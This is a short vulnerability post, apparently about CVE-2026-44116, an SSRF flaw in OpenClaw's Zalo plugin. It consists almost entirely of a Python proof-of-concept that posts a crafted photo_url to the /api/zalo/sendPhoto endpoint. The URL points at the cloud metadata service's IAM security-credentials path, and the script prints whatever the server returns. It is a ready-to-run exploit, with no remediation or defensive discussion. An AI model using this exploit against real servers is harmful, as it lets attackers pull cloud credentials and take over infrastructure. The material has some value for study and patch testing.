CVE-2026-44116 OpenClaw SSRF漏洞

# PoC for CVE-2026-44116: OpenClaw SSRF in Zalo Plugin # This script demonstrates sending a malicious photo URL to exploit the SSRF import requests def exploit_ssrf(target_host, malicious_url): # Endpoint for the vulnerable Zalo sendPhoto function endpoint = f"{target_host}/api/zalo/sendPhoto" # Payload containing the internal resource URL payload = { "recipient_id": "test_user", "photo_url": malicious_url } try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example target and internal metadata URL target = "http://vulnerable-openclaw-server:8080" internal_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_url)